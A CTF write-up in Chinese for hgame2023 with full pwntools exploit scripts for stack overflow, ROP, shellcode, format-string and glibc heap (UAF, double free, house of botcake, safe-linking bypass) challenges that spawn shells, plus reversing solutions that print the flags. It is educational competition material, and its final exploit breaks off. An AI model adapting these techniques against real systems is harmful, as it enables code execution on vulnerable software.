0%

hgame2023

复健。

WEEK1

pwn

easy_overflow

确实easy,直接构造栈溢出即可,要注意后门函数地址+1。

exp如下:

1
2
3
4
5
6
7
8
9
from pwn import *
#io=process("./vuln")
io=remote("",)
backdoor=0x40117b
payload=b'a'*24+p64(backdoor)*10
#gdb.attach(io)
#pause()
io.send(payload)
io.interactive()

得到shell后进行一波重定位即可:

1
exec 1>&2

choose_the_seat

典型的负整数越界利用,由未检查下界导致。

  • 漏洞允许我们更改下标指向0x10内容,且程序可劫持got表。
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 第一步,劫持exitvuln函数。
  • 第二步,泄露任意一处got表地址,即泄露libc
  • 第三步,劫持putssystem,顺便写入/bin/sh
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
#io=process("./vuln")
io=remote("week-1.hgame.lwsec.cn",32413)
libc=ELF("libc-2.31.so")
vul=0x4011DA

io.sendlineafter('please choose one.\n',b"-6")

#gdb.attach(io)
#pause()
io.sendafter("please input your name\n",p64(vul))

io.sendlineafter('please choose one.\n',b"-8")
io.sendafter("please input your name\n",b'\xd0')

setbuf=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base=setbuf-libc.sym["setbuf"]
log.success('libc_base==>'+hex(libc_base))

system=libc_base+libc.sym["system"]

io.sendlineafter('please choose one.\n',b"-9")
io.sendafter("please input your name\n",b'/bin/sh\x00'+p64(system))

io.interactive()

orw

蛮有意思的一道orw题,巩固了一些知识点。

简单的栈溢出,开了沙箱,禁了system

1
2
3
4
5
6
7
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0004
0002: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0004
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0004: 0x06 0x00 0x00 0x00000000 return KILL
  • 首先泄露libc
  • 由于溢出的并不多,因此得想办法增强溢出能力。一开始想着走一步返回一步,但溢出的数量仍不足以一次性完成如read(3,bss,0x30)这一系列操作。该题比较巧妙的一点是由于是read造成的溢出,我们其实无需控制rdirsi,只需增大rdx,并再次调用read即可。
  • ps. 看了下官方wp使用的是栈迁移mprotect,感觉不如本方法简单。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

#io=process("./vuln")
io=remote("week-1.hgame.lwsec.cn",31611)
elf=ELF("vuln")
libc=ELF("libc-2.31.so")

vul=0x4012C4
flag_addr=0x404080
pop_rdi_ret=0x0000000000401393
pop_rsi_r13_ret=0x0000000000401391
# leak libc
payload=b'a'*264+p64(pop_rdi_ret)+p64(0x404020)+p64(elf.sym["puts"])
payload+=p64(vul)
io.send(payload)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))-libc.sym["read"]
log.success("libc_base===>"+hex(libc_base))

pop_rdx_ret=libc_base+0x0000000000142c92
openn=libc_base+0x10DCE0
payload=b'a'*264+p64(pop_rsi_r13_ret)+p64(flag_addr)+p64(0)+p64(elf.sym["read"])+p64(vul)
io.send(payload)
io.send(b'/flag'+b'\x00'*299)

#gdb.attach(io)
#pause()
payload=b'a'*264+p64(pop_rdx_ret)+p64(0x300)+p64(elf.sym["read"])+p64(0)*2
io.send(payload)

payload=b'b'*264+p64(0)*3+p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_r13_ret)+p64(0)*2+p64(openn)
payload+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_r13_ret)+p64(flag_addr)+p64(0)+p64(pop_rdx_ret)+p64(0x40)+p64(elf.sym["read"])
payload+=p64(pop_rdi_ret)+p64(1)+p64(libc_base+0x10E060)+p64(vul)
io.send(payload)

io.interactive()

还需注意的点是:

  1. openopen64是一个东西,当时libc里找半天,发现open64里有这么一句注释:
1
Alternative name is '__open'
  1. 使用remote远程端口时,readrdx参数有多大传多少,否则会导致下面send的数据被之前的read吃掉。

simple_shellcode

这种shellcode题目除了掌握基本的orw_shellcode外,要时刻关注执行shellcode前后的寄存器变化,根据寄存器写shellcode

  • 首先shellcode16个字节大小的限制,这也就意味着接下来我们要用16个字节大小限制的shellcode扩大漏洞利用能力。
  • 调试并根据寄存器编写一下shellcode,目标是写入更多数据到0xcafe0000这片空间并执行:
1
2
3
4
5
6
7
8
9
shellcode1=asm('''
mov rdi,rax
mov rsi,rdx
mov edx,0x100
syscall
call rsi
nop
''')
print(len(shellcode1))
  • 而后就是编写常规的orwshellcode,注意开头需要多写一些nop,否则写出的就不是目标flag,猜测是控制相关问题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
shellcode2=asm('''
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
  • 总的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
rom pwn import *
#io=process("./vuln")
io=remote("week-1.hgame.lwsec.cn",31266)
context.arch='amd64'

shellcode2=asm('''
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')

shellcode1=asm('''
mov rdi,rax
mov rsi,rdx
mov edx,0x100
syscall
call rsi
nop
''')
print(len(shellcode1))
io.send(shellcode1)
#gdb.attach(io)
#pause()
io.send(shellcode2)
io.interactive()

re

easyasm

根据汇编找逻辑,分析完发现只是简单的异或:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
; void __cdecl enc(char *p)
.text:00401160 _enc proc near ; CODE XREF: _main+1B↑p
.text:00401160
.text:00401160 i = dword ptr -4
.text:00401160 Str = dword ptr 8
.text:00401160
.text:00401160 push ebp
.text:00401161 mov ebp, esp
.text:00401163 push ecx
.text:00401164 mov [ebp+i], 0
.text:0040116B jmp short loc_401176
.text:0040116D ; ---------------------------------------------------------------------------
.text:0040116D
.text:0040116D loc_40116D: ; CODE XREF: _enc+3B↓j i自增
.text:0040116D mov eax, [ebp+i]
.text:00401170 add eax, 1
.text:00401173 mov [ebp+i], eax
.text:00401176
.text:00401176 loc_401176: ; CODE XREF: _enc+B↑j
.text:00401176 mov ecx, [ebp+Str]
.text:00401179 push ecx ; Str
.text:0040117A call _strlen ; 返回Str的长度至eax
.text:0040117F add esp, 4
.text:00401182 cmp [ebp+i], eax ; i与len(Str)比较
.text:00401185 jge short loc_40119D ; 大则跳出循环
.text:00401187 mov edx, [ebp+Str]
.text:0040118A add edx, [ebp+i]
.text:0040118D movsx eax, byte ptr [edx] ; movsx 带符号扩展传送
.text:00401190 xor eax, 33h ; 异或加密
.text:00401193 mov ecx, [ebp+Str]
.text:00401196 add ecx, [ebp+i]
.text:00401199 mov [ecx], al
.text:0040119B jmp short loc_40116D
.text:0040119D ; ---------------------------------------------------------------------------
.text:0040119D
.text:0040119D loc_40119D: ; CODE XREF: _enc+25↑j
.text:0040119D mov esp, ebp
.text:0040119F pop ebp
.text:004011A0 retn
.text:004011A0 _enc endp
Input: your flag
Encrypted result: 0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e

exp如下:

1
2
3
4
data=[0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e]
for i in data:
print(chr(i^0x33),end='')
# hgame{welc0me_t0_re_wor1d!}

easyenc

简单的加密手法,找到you are right简单分析即可,如果不是exe文件的话还想试试angr一把梭:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbx
__int64 v4; // rax
char v5; // al
char *v6; // rcx
int v8[10]; // [rsp+20h] [rbp-19h]
char v9; // [rsp+48h] [rbp+Fh]
__int128 v10[3]; // [rsp+50h] [rbp+17h] BYREF
__int16 v11; // [rsp+80h] [rbp+47h]

v8[0] = 0x9FDFF04;
v8[1] = 0xB0F301;
v11 = 0;
v8[2] = 0xADF00500;
memset(v10, 0, sizeof(v10));
v3 = 0i64;
v8[3] = 0x5170607;
v8[4] = 0x17FD17EB;
v8[5] = 0x1EE01EA;
v8[6] = 0xFA05B1EA;
v8[7] = 0xAC170108;
v8[8] = 0xFDEA01EC;
v8[9] = 0x60705F0;
v9 = 0xF9;
sub_140001064("%50s", v10);
v4 = -1i64;
do
++v4;
while ( *(v10 + v4) );
if ( v4 != 41 )
return 0;
while ( 1 )
{
v5 = (*(v10 + v3) ^ 0x32) - 86;
*(v10 + v3) = v5;
if ( *(v8 + v3) != v5 )
break;
if ( ++v3 >= 41 )
{
v6 = "you are right!";
goto LABEL_8;
}
}
v6 = "wrong!";
LABEL_8:
sub_140001010(v6);
return 0;
}

exp如下:

1
2
3
4
5
6
7
8
9
data=[0x04, 0xFF, 0xFD, 0x09, 0x01, 0xF3, 0xB0, 0x00,
0x00, 0x05, 0xF0, 0xAD, 0x07, 0x06, 0x17, 0x05,
0xEB, 0x17, 0xFD, 0x17, 0xEA, 0x01, 0xEE, 0x01,
0xEA, 0xB1, 0x05, 0xFA, 0x08, 0x01, 0x17, 0xAC,
0xEC, 0x01, 0xEA, 0xFD, 0xF0, 0x05, 0x07, 0x06,
0xF9]
for i in data:
print(chr(((i+86)%256)^0x32),end='')
# hgame{4ddit1on_is_a_rever5ible_0peration}

encode

将一个数分开二次加密记录,一个计算%16的余数,另一个计算/16的整数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[100]; // [esp+0h] [ebp-1CCh] BYREF
char v5[52]; // [esp+190h] [ebp-3Ch] BYREF
int j; // [esp+1C4h] [ebp-8h]
int i; // [esp+1C8h] [ebp-4h]

memset(v5, 0, 0x32u);
memset(v4, 0, sizeof(v4));
sub_4011A0("%50s", v5);
for ( i = 0; i < 50; ++i )
{
v4[2 * i] = v5[i] & 0xF;
v4[2 * i + 1] = (v5[i] >> 4) & 0xF;
}
for ( j = 0; j < 100; ++j )
{
if ( v4[j] != dword_403000[j] )
{
sub_401160(Format, v4[0]);
return 0;
}
}
sub_401160(aYesYouAreRight, v4[0]);
return 0;
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
result=[8, 6, 7, 6, 1, 6, 13, 6, 5, 6,
11, 7, 5, 6, 14, 6, 3, 6, 15, 6,
4, 6, 5, 6, 15, 5, 9, 6, 3, 7,
15, 5, 5, 6, 1, 6, 3, 7, 9, 7,
15, 5, 6, 6, 15, 6, 2, 7, 15, 5,
1, 6, 15, 5, 2, 7, 5, 6, 6, 7,
5, 6, 2, 7, 3, 7, 5, 6, 15, 5,
5, 6, 14, 6, 7, 6, 9, 6, 14, 6,
5, 6, 5, 6, 2, 7, 13, 7, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

flag=[0]*50
for i in range(50):
result[2*i]=result[2*i] & 0xf
result[2*i+1]=(result[2*i+1] & 0xf) << 4
flag[i]=result[2*i]+result[2*i+1]

for i in flag:
print(chr(i),end='')
# hgame{encode_is_easy_for_a_reverse_engineer}

WEEK2

pwn

YukkuriSay

考察栈外的格式化漏洞,且read次数只有一次,说明一次只能修改一个指定地址。

  • 第一次需要用来泄露+返回,将buf充满,会通过print_str泄露出一个残留的栈地址:
  • 不要n,继续在buf上布置栈返回地址,使其返回到_start(返回mainvuln会报错),顺便泄露出libc
  • 由于printf(str)最稳妥的修改方法是一个地址中的1字节+2字节(2+2需要爆破),因此不难想到劫持程序执行流为one_gadget,而返回地址__libc_start_main+???作为libc地址显然和one_gadget具有更好的相似性,在返回到__libc_start_main+???时可以观察到rdx=0r15=0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
  • 不难想到用第二个gadget
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
#io=process("./vuln")
io=remote("week-2.hgame.lwsec.cn",31352)
elf=ELF("vuln")
libc=ELF("libc-2.31.so")

io.sendafter("What would you like to let Yukkri say?\n",b"a"*256)
stack=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-8
log.success("stack===>"+hex(stack))
io.sendlineafter("anything else?(Y/n)\n",b"Y")

io.send(p64(stack)*32)
io.sendlineafter("anything else?(Y/n)\n",b"n")

payload=b"%45$p%4418c%8$hn"
io.send(payload)

io.recvuntil("0x")
libc_base=int(io.recv(12),16)-243-libc.sym["__libc_start_main"]
log.success("libc_base=="+hex(libc_base))

one_gadget=libc_base+0xe3b01
m1=(one_gadget>>16)&0xff
m2=one_gadget & 0xffff
log.success("one_gadget=="+hex(one_gadget))
log.success("m1="+hex(m1)+";m2="+hex(m2))
stack2=stack-224
log.success("stack2=="+hex(stack2))
io.sendafter("What would you like to let Yukkri say?\n",p64(stack2+2)+p64(stack2))
io.sendlineafter("anything else?(Y/n)\n",b"n")
payload="%{}c%8$hhn".format(m1)
payload+="%{}c%9$hn".format(m2-m1)
io.send(payload)

io.interactive()

editable_note

libc2.31下常规的uaf漏洞。

  • add:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 add_note()
{
unsigned int v0; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
int size[7]; // [rsp+4h] [rbp-1Ch] BYREF

*&size[1] = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 <= 0xF )
{
if ( notes[v2] )
{
printf("This page has been used.");
}
else
{
printf("Size: ");
__isoc99_scanf("%u", size);
if ( size[0] <= 0xFFu )
{
v0 = v2;
notes[v0] = malloc(size[0]);
note_size[v2] = size[0];
}
else
{
puts("Too big.");
}
}
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ *&size[1];
}
  • delete中出现uaf漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall delete_note(const char *a1)
{
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 <= 0xF )
{
if ( notes[v2] )
free(notes[v2]); // uaf漏洞
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v3;
}
  • edit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall edit_note(const char *a1)
{
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 <= 0xF )
{
if ( notes[v2] )
{
printf("Content: ");
read(0, notes[v2], note_size[v2]);
}
else
{
puts("Page not found.");
}
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v3;
}
  • show:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall show_note(const char *a1)
{
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 <= 0xF )
{
if ( notes[v2] )
puts(notes[v2]);
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v3;
}
  • 申请9个unsortedbin大小的堆,释放前8个,其中7个进入tcachebin,1个进入unsortedbin,第9个堆用于避免被topchunk吸收。
  • 打印得到libc地址,计算__free_hooksystem
  • 修改第6个堆的fd指针指向__free_hook
  • 再申请2个堆,劫持__free_hooksystem
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
#io=process("./vuln")
io=remote("week-2.hgame.lwsec.cn",31047)
libc=ELF("libc-2.31.so")

def add(index,size):
io.sendlineafter(">",str(1))
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))

def free(index):
io.sendlineafter(">",str(2))
io.sendlineafter("Index: ",str(index))

def show(index):
io.sendlineafter(">",str(4))
io.sendlineafter("Index: ",str(index))

def edit(index,content):
io.sendlineafter(">",str(3))
io.sendlineafter("Index: ",str(index))
io.sendafter("Content: ",content)

for i in range(9):
add(i,0x80)
for i in range(8):
free(i)
show(7)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-112-libc.sym["__malloc_hook"]
log.success("libc_base===>"+hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]

edit(6,p64(free_hook))
add(9,0x80)
add(10,0x80)
edit(10,p64(system))
edit(9,"/bin/sh\x00")
free(9)
#gdb.attach(io)
io.interactive()

fast_note

libc2.23下的uaf漏洞,无edit功能,其他功能和上述一样,因此可以构造double free

  • 申请两个堆,第一个有unsortedbin大小,释放第一个,泄露libc
  • 再申请两个数据大小为0x60的堆,释放其中第一个,再释放第二个,再释放第一个,绕过检查,达成double free
  • 再申请一个数据大小为0x60的堆,并修改其fd指向__malloc_hook-0x23处。
  • __malloc_hook-0x23处的堆块申请过来,修改__malloc_hookone_gadget,必要时用realloc进行调整。
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
#io=process("./vuln")
io=remote("week-2.hgame.lwsec.cn",30160)
libc=ELF("libc-2.23.so")

def add(index,size,content):
io.sendlineafter(">",str(1))
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))
io.sendafter("Content: ",content)

def free(index):
io.sendlineafter(">",str(2))
io.sendlineafter("Index: ",str(index))

def show(index):
io.sendlineafter(">",str(3))
io.sendlineafter("Index: ",str(index))

add(0,0x80,'a'*0x80)
add(1,0x80,'b'*0x80)
free(0)
show(0)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-104-libc.sym["__malloc_hook"]
log,success("libc_base==>"+hex(libc_base))
malloc_hook=libc_base+libc.sym["__malloc_hook"]
gadgets=[0x4527a,0x45226,0xf03a4,0xf1247]
one_gadget=libc_base+gadgets[3]
realloc=libc_base+libc.sym["realloc"]

add(2,0x80,'a'*0x80)
add(3,0x60,'c'*0x60)
add(4,0x60,'d'*0x60)
add(5,0x60,'e'*0x60)

free(3)
free(4)
free(3)

add(6,0x60,p64(malloc_hook-0x23))
add(7,0x60,'z'*0x60)
add(8,0x60,'z'*0x60)
add(9,0x60,b'\x00'*0xb+p64(one_gadget)+p64(realloc+0x6))
#gdb.attach(io)

io.sendlineafter(">",str(1))
io.sendlineafter("Index: ",str(10))
io.sendlineafter("Size: ",str(20))
io.interactive()

new_fast_note

libc2.31下的uaf漏洞,无edit功能,其他功能和上述一样。由于引入了tcache,这里学习了一种新的double free利用手法house of botcake参考文章

  • 分配9个unsortedbin 大小的堆块,释放掉前7个,再申请一个保护堆块防止合并。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bins
tcachebins
0x90 [ 7]: 0x563c55bf6600 —▸ 0x563c55bf6570 —▸ 0x563c55bf64e0 —▸ 0x563c55bf6450 —▸ 0x563c55bf63c0 —▸ 0x563c55bf6330 —▸ 0x563c55bf62a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
  • 释放掉第9个堆块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> bins
tcachebins
0x90 [ 7]: 0x563c55bf6600 —▸ 0x563c55bf6570 —▸ 0x563c55bf64e0 —▸ 0x563c55bf6450 —▸ 0x563c55bf63c0 —▸ 0x563c55bf6330 —▸ 0x563c55bf62a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x563c55bf6710 —▸ 0x7fe8d8e26be0 (main_arena+96) ◂— 0x563c55bf6710
smallbins
empty
largebins
empty
pwndbg>
  • 释放掉第8个堆块,触发unsortedbin consolidate合并为一个大堆块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> bins
tcachebins
0x90 [ 7]: 0x563c55bf6600 —▸ 0x563c55bf6570 —▸ 0x563c55bf64e0 —▸ 0x563c55bf6450 —▸ 0x563c55bf63c0 —▸ 0x563c55bf6330 —▸ 0x563c55bf62a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x563c55bf6680 —▸ 0x7fe8d8e26be0 (main_arena+96) ◂— 0x563c55bf6680
smallbins
empty
largebins
empty

pwndbg> x/30gx 0x563c55bf6680
0x563c55bf6680: 0x0000000000000000 0x0000000000000121
0x563c55bf6690: 0x00007fe8d8e26be0 0x00007fe8d8e26be0
0x563c55bf66a0: 0x6161616161616161 0x6161616161616161
0x563c55bf66b0: 0x6161616161616161 0x6161616161616161
0x563c55bf66c0: 0x6161616161616161 0x6161616161616161
0x563c55bf66d0: 0x6161616161616161 0x6161616161616161
0x563c55bf66e0: 0x6161616161616161 0x6161616161616161
0x563c55bf66f0: 0x6161616161616161 0x6161616161616161
0x563c55bf6700: 0x6161616161616161 0x6161616161616161
0x563c55bf6710: 0x0000000000000000 0x0000000000000091
0x563c55bf6720: 0x00007fe8d8e26be0 0x00007fe8d8e26be0
0x563c55bf6730: 0x6161616161616161 0x6161616161616161
0x563c55bf6740: 0x6161616161616161 0x6161616161616161
0x563c55bf6750: 0x6161616161616161 0x6161616161616161
0x563c55bf6760: 0x6161616161616161 0x6161616161616161
  • 申请一个堆块(Tcache优先),再释放掉第9个堆块,此时两个指针分别位于unsortedbin中和tcache中,完成了double free
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> bins
tcachebins
0x90 [ 7]: 0x563c55bf6720 —▸ 0x563c55bf6570 —▸ 0x563c55bf64e0 —▸ 0x563c55bf6450 —▸ 0x563c55bf63c0 —▸ 0x563c55bf6330 —▸ 0x563c55bf62a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x563c55bf6680 —▸ 0x7fe8d8e26be0 (main_arena+96) ◂— 0x563c55bf6680
smallbins
empty
largebins
empty
  • 只需申请一个比第9个堆块大的堆块,便能切割unsortedbin,在第9个堆块处的fd指针留下__free_hook即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tcachebins
0x90 [ 7]: 0x563c55bf6720 —▸ 0x7fe8d8e28e48 (__free_hook) ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x563c55bf6730 —▸ 0x7fe8d8e26be0 (main_arena+96) ◂— 0x563c55bf6730
smallbins
empty
largebins
empty
  • 申请到__free_hooksystem,释放数据为/bin/sh的堆块即可。
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
#io=process("./vuln")
io=remote("week-2.hgame.lwsec.cn",30439)
libc=ELF("libc-2.31.so")

def add(index,size,content):
io.sendlineafter(">",str(1))
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))
io.sendafter("Content: ",content)

def free(index):
io.sendlineafter(">",str(2))
io.sendlineafter("Index: ",str(index))

def show(index):
io.sendlineafter(">",str(3))
io.sendlineafter("Index: ",str(index))

for i in range(9):
add(i,0x80,'a'*0x80)
for i in range(7):
free(i)
add(9,0x10,'protectt'*2)
#gdb.attach(io)
#pause()

free(8)
#pause()
free(7)
#pause()
show(7)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-112-libc.sym["__malloc_hook"]
log.success("libc="+hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]

add(10,0x80,'b'*0x80)
free(8)
#pause()

add(11,0xa0,p64(free_hook)*20)
#pause()
add(12,0x80,'/bin/sh\x00')
add(13,0x80,p64(system))
free(12)
io.interactive()

WEEK3

pwn

libc-2.32预备知识

  • 引入了-safe-linking(异或加密)机制,其核心思想是:将指针的地址右移12位再和指针本身异或,该操作在堆块进入和退出tcache bin时进行:
1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
  • chunk放入tcache bin时,其fd指针会进行异或加密,其bk指针会放入tcache,以防double free
  • chunktcache bin被取出时,其fd指针进行反异或操作,其bk指针清零。
  • 以下图为例了解-safe-linking
  • 当第一个chunk进入tcache bin时,由于tcache此时为空,故fd = (0x559f965652a0 >> 12) ^ 0
  • 当第二个chunk进入tcache bin时,fd = (0x559f965652a0 >> 12) ^ 0x559f965652a0
  • 第三个同理:
1
2
3
4
5
6
>>> hex((0x559f965652a0 >> 12) ^ 0)
'0x559f96565'
>>> hex((0x559f965652a0 >> 12) ^ 0x559f965652a0)
'0x559acfaf37c5'
>>> hex((0x559f965653c0 >> 12) ^ 0x559f96565330)
'0x559acfaf3655'
  • 不难想到(0x559f965652a0 >> 12)就是第一次free chunkfd指针,一直参与异或,这也是有些师傅们常说的key

safe_note

libc-2.32环境下带有edit功能的uaf漏洞题目,除了环境不同,其余功能均与WEEK2-pwn-editable_note一致。

  • 申请9个0x80大小堆块,释放7个装满tcache bin,再释放一个进入unsorted bin,泄露libc_base即可。注:puts函数可能被低位‘\x00’截断,可以用edit进行调整。
  • 泄露第一个free chunkfd指针即key,将key__free_hook异或,加密结果在取出时便会得到真实的__free_hook地址。
  • 修改第七个free_chunkfd指针为__free_hook加密结果,再申请两次堆块得到__free_hook地址的控制权,写入system即可。
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
#io=process("./vuln")
io=remote("week-3.hgame.lwsec.cn",30852)
libc=ELF("libc-2.32.so")

def add(index,size):
io.sendlineafter(">",str(1))
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))

def free(index):
io.sendlineafter(">",str(2))
io.sendlineafter("Index: ",str(index))

def show(index):
io.sendlineafter(">",str(4))
io.sendlineafter("Index: ",str(index))

def edit(index,content):
io.sendlineafter(">",str(3))
io.sendlineafter("Index: ",str(index))
io.sendafter("Content: ",content)

for i in range(9):
add(i,0x80)
for i in range(8):
free(i)
edit(7,'\x12')
show(7)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x12-96-0x10-libc.sym["__malloc_hook"]
log.success("lb="+hex(libc_base))
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]

show(0)
key=u64(io.recv(5).ljust(8,b'\x00'))
log.success("key="+hex(key))

bd=free_hook^key
edit(6,p64(bd))

add(9,0x80)
edit(9,'/bin/sh\x00')
add(10,0x80)
